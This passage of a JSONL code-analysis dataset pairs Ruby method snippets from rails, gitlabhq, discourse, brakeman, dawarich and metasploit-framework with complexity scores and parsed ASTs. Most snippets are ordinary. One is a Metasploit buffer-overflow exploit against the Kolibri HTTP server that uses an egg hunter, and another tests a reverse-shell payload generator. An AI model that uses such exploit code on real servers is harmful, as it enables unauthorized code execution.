{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":133,"raw_source":"def test_find_with_ids_where_and_limit\n    # Please note that Topic 1 is the only not approved so\n    # if it were among the first 3 it would raise an ActiveRecord::RecordNotFound\n    records = Topic.where(approved: true).limit(3).find([3, 2, 5, 1, 4])\n    assert_equal 3, records.size\n    assert_equal \"The Third Topic of the day\",  records[0].title\n    assert_equal \"The Second Topic of the day\", records[1].title\n    assert_equal \"The Fifth Topic of the day\",  records[2].title\n  end","complexity_score":20.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_with_ids_where_and_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[3]}]},\"find\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Third Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Second Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The Fifth Topic of the day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"title\"]}]}]}]}","id":"9ec13245-c96e-4c4d-8087-52243584497f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/packages/cleanup/delete_orphaned_dependencies_worker.rb","start_line":45,"raw_source":"def start_time\n        @start_time ||= ::Gitlab::Metrics::System.monotonic_time\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]}]}","id":"dc339f75-6a31-4d39-a875-c514c29b350e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/restore/unpack.rb","start_line":98,"raw_source":"def no_backups_output!\n        logger.error \"No backups found in #{backup_path}\"\n        logger.error \"Please make sure that file name ends with #{FILE_NAME_SUFFIX}\"\n\n        exit 1\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"no_backups_output!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No backups found in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please make sure that file name ends with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FILE_NAME_SUFFIX\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"12616657-1bf0-476b-9dc3-1408b0d05d22"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_parse_options.rb","start_line":29,"raw_source":"def test_returns_observed_false_if_options_does_not_contain_observed_flag\n    @regions_repo.expects(:parent_region_lookup).with(:ca).returns(:ca)\n    observed = @subject.call([:ca])[1]\n    assert_equal(false, observed)\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_observed_false_if_options_does_not_contain_observed_flag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"parent_region_lookup\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"ca\"]}]},\"returns\",{\"type\":\"sym\",\"children\":[\"ca\"]}]},{\"type\":\"lvasgn\",\"children\":[\"observed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ca\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"observed\"]}]}]}]}","id":"85a2e57b-1682-48f2-894e-86d0d3310310"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner.rb","start_line":560,"raw_source":"def registration_available?\n      authenticated_user_registration_type? &&\n        created_at > REGISTRATION_AVAILABILITY_TIME.ago &&\n        creation_state == 'started' # NOTE: We can't use started_creation_state? here as we need to check cached value\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"registration_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticated_user_registration_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_at\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRATION_AVAILABILITY_TIME\"]},\"ago\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"creation_state\"]},\"==\",{\"type\":\"str\",\"children\":[\"started\"]}]}]}]}","id":"f65318e8-9480-495d-b9e9-58972ccd38ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/delete_old_feature_flags.rb","start_line":37,"raw_source":"def each_identified_change\n      each_feature_flag do |feature_flag|\n        identifiers = build_ff_identifiers(feature_flag)\n        latest_feature_flag_status = get_latest_feature_flag_status(feature_flag)\n        next unless can_remove_ff?(feature_flag, identifiers, latest_feature_flag_status)\n\n        change = ::Gitlab::Housekeeper::Change.new\n        change.identifiers = identifiers\n        change.context = { feature_flag: feature_flag, latest_feature_flag_status: latest_feature_flag_status }\n        yield change\n      end\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each_identified_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_feature_flag\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identifiers\",{\"type\":\"send\",\"children\":[null,\"build_ff_identifiers\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"latest_feature_flag_status\",{\"type\":\"send\",\"children\":[null,\"get_latest_feature_flag_status\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_remove_ff?\",{\"type\":\"lvar\",\"children\":[\"feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"identifiers\"]},{\"type\":\"lvar\",\"children\":[\"latest_feature_flag_status\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"change\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Housekeeper\"]},\"Change\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"identifiers=\",{\"type\":\"lvar\",\"children\":[\"identifiers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"context=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"feature_flag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latest_feature_flag_status\"]},{\"type\":\"lvar\",\"children\":[\"latest_feature_flag_status\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}","id":"037d4478-f408-44bc-8f7e-5c2112dd1af4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":59,"raw_source":"def setup\n    Person.create first_name: \"gummy\"\n    Reader.create person_id: 0, post_id: 0\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"gummy\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"abee5d2e-7d75-4bc3-b9bc-396cb9a46089"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/admin/user.rb","start_line":43,"raw_source":"def phone_number\n    read_store_attribute(:settings, :phone_number).gsub(/(\\d{3})(\\d{3})(\\d{4})/, '(\\1) \\2-\\3')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"phone_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_store_attribute\",{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"sym\",\"children\":[\"phone_number\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"(\\\\1) \\\\2-\\\\3\"]}]}]}","id":"77db24e2-49d0-4095-a156-299bdb699b70"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/demon/email_sync.rb","start_line":33,"raw_source":"def self.max_allowed_email_sync_rss\n    [\n      ENV[\"UNICORN_EMAIL_SYNC_MAX_RSS\"].to_i,\n      DEFAULT_MAX_ALLOWED_EMAIL_SYNC_RSS_MEGABYTES,\n    ].max.megabytes\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_allowed_email_sync_rss\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNICORN_EMAIL_SYNC_MAX_RSS\"]}]},\"to_i\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_ALLOWED_EMAIL_SYNC_RSS_MEGABYTES\"]}]},\"max\"]},\"megabytes\"]}]}","id":"2d34453d-cefe-467a-aed3-785219332970"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/modules/payloads/singles/osx/aarch64/shell_reverse_tcp_spec.rb","start_line":26,"raw_source":"def expect_result_to_match(expected_asm)\n      allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm|\n        compiled_asm = original.call asm\n        expect(asm).to match_table(expected_asm)\n        expect(compiled_asm.length).to be > 0\n        'mock-aarch64-compiled'\n      end\n      expect(subject.generate).to eq 'mock-aarch64-compiled'\n    end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_result_to_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected_asm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"subject\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"compile_aarch64\"]}]},\"and_wrap_original\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"original\"]},{\"type\":\"arg\",\"children\":[\"asm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compiled_asm\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"asm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"asm\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"match_table\",{\"type\":\"lvar\",\"children\":[\"expected_asm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compiled_asm\"]},\"length\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"be\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"mock-aarch64-compiled\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"generate\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"mock-aarch64-compiled\"]}]}]}]}]}","id":"fba69e12-e20f-4d59-9615-1a865a1d3588"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/route_helper.rb","start_line":27,"raw_source":"def add_route route, controller = nil\n    if node_type? route, :str, :lit\n      route = route.value\n    end\n\n    return unless route.is_a? String or route.is_a? Symbol\n\n    if route.is_a? String and controller.nil? and route.include? \":controller\"\n      controller = \":controller\"\n    end\n\n    route = route.to_sym\n\n    if controller\n      self.current_controller = controller\n    end\n\n    routes = @tracker.routes[@current_controller]\n    \n    if routes and not routes.include? :allow_all_actions\n      routes << route\n    end\n  end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_route\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]},{\"type\":\"optarg\",\"children\":[\"controller\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"route\"]},{\"type\":\"sym\",\"children\":[\"str\"]},{\"type\":\"sym\",\"children\":[\"lit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"route\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"value\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"include?\",{\"type\":\"str\",\"children\":[\":controller\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"str\",\"children\":[\":controller\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"route\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_controller=\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"routes\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@current_controller\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"allow_all_actions\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"route\"]}]},null]}]}]}","id":"6bc7d092-b413-4ed0-a6d8-8bdd88919bf7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/command_recorder.rb","start_line":241,"raw_source":"def invert_remove_column(args)\n          raise ActiveRecord::IrreversibleMigration, \"remove_column is only reversible if given a type.\" if args.size <= 2\n          super\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invert_remove_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"size\"]},\"<=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]},{\"type\":\"str\",\"children\":[\"remove_column is only reversible if given a type.\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"dc17e684-9678-406f-8577-337189c39f7d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20230424055354_create_ai_api_audit_logs.rb","start_line":4,"raw_source":"def change\n    create_table :ai_api_audit_logs do |t|\n      t.integer :provider_id, null: false\n      t.integer :user_id\n      t.integer :request_tokens\n      t.integer :response_tokens\n      t.string :raw_request_payload\n      t.string :raw_response_payload\n      t.timestamps\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ai_api_audit_logs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"provider_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"request_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"response_tokens\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"raw_request_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"raw_response_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"1001610a-a040-4be8-ab00-ebf035a04c74"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/emoji.rb","start_line":343,"raw_source":"def self.unicode_replacements_json\n    @unicode_replacements_json ||= unicode_replacements.to_json\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unicode_replacements_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unicode_replacements_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unicode_replacements\"]},\"to_json\"]}]}]}","id":"72453d45-efbf-4088-b053-7c9d8e30d64a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/kolibri_http.rb","start_line":64,"raw_source":"def exploit\n    # 7E429353    FFE4            JMP     ESP\n    # For a reliable and large payload, we use an egg hunter\n    # and direct RET to execute code\n    print_status(\"Sending request...\")\n    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)\n    sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')\n    sploit << eh_stub\n    send_request_raw({\n      'uri' => \"/\" + sploit,\n      'version' => '1.1',\n      'method' => 'HEAD',\n      'headers' => { 'Content-Type' => eh_egg },\n    })\n\n    handler\n  end","complexity_score":20.75,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending request...\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eh_stub\"]},{\"type\":\"lvasgn\",\"children\":[\"eh_egg\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_egghunter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[515]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"eh_stub\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"lvar\",\"children\":[\"eh_egg\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"09344663-90d6-42b8-96e1-e3abfc73aeda"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/user_helper.rb","start_line":4,"raw_source":"def api_key_qr_code(user, size: 6)\n    json = { 'server_url' => root_url, 'api_key' => user.api_key }\n    qrcode = RQRCode::QRCode.new(json.to_json)\n    svg = qrcode.as_svg(\n      color: '000',\n      fill: 'fff',\n      shape_rendering: 'crispEdges',\n      module_size: size,\n      standalone: true,\n      use_path: true,\n      offset: 5\n    )\n    svg.html_safe\n  end","complexity_score":9.75,"ast_json":"{\"type\":\"def\",\"children\":[\"api_key_qr_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"server_url\"]},{\"type\":\"send\",\"children\":[null,\"root_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"api_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"qrcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RQRCode\"]},\"QRCode\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"to_json\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"svg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qrcode\"]},\"as_svg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fill\"]},{\"type\":\"str\",\"children\":[\"fff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shape_rendering\"]},{\"type\":\"str\",\"children\":[\"crispEdges\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"standalone\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_path\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svg\"]},\"html_safe\"]}]}]}","id":"cfba9126-0a0c-411c-aac1-5cc629cff21e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1397,"raw_source":"def assume_migrated_upto_version(version)\n        version = version.to_i\n        sm_table = quote_table_name(pool.schema_migration.table_name)\n\n        migration_context = pool.migration_context\n        migrated = migration_context.get_all_versions\n        versions = migration_context.migrations.map(&:version)\n\n        unless migrated.include?(version)\n          execute \"INSERT INTO #{sm_table} (version) VALUES (#{quote(version)})\"\n        end\n\n        inserting = (versions - migrated).select { |v| v < version }\n        if inserting.any?\n          if (duplicate = inserting.detect { |v| inserting.count(v) > 1 })\n            raise \"Duplicate migration #{duplicate}. Please renumber your migrations to resolve the conflict.\"\n          end\n          execute insert_versions_sql(inserting)\n        end\n      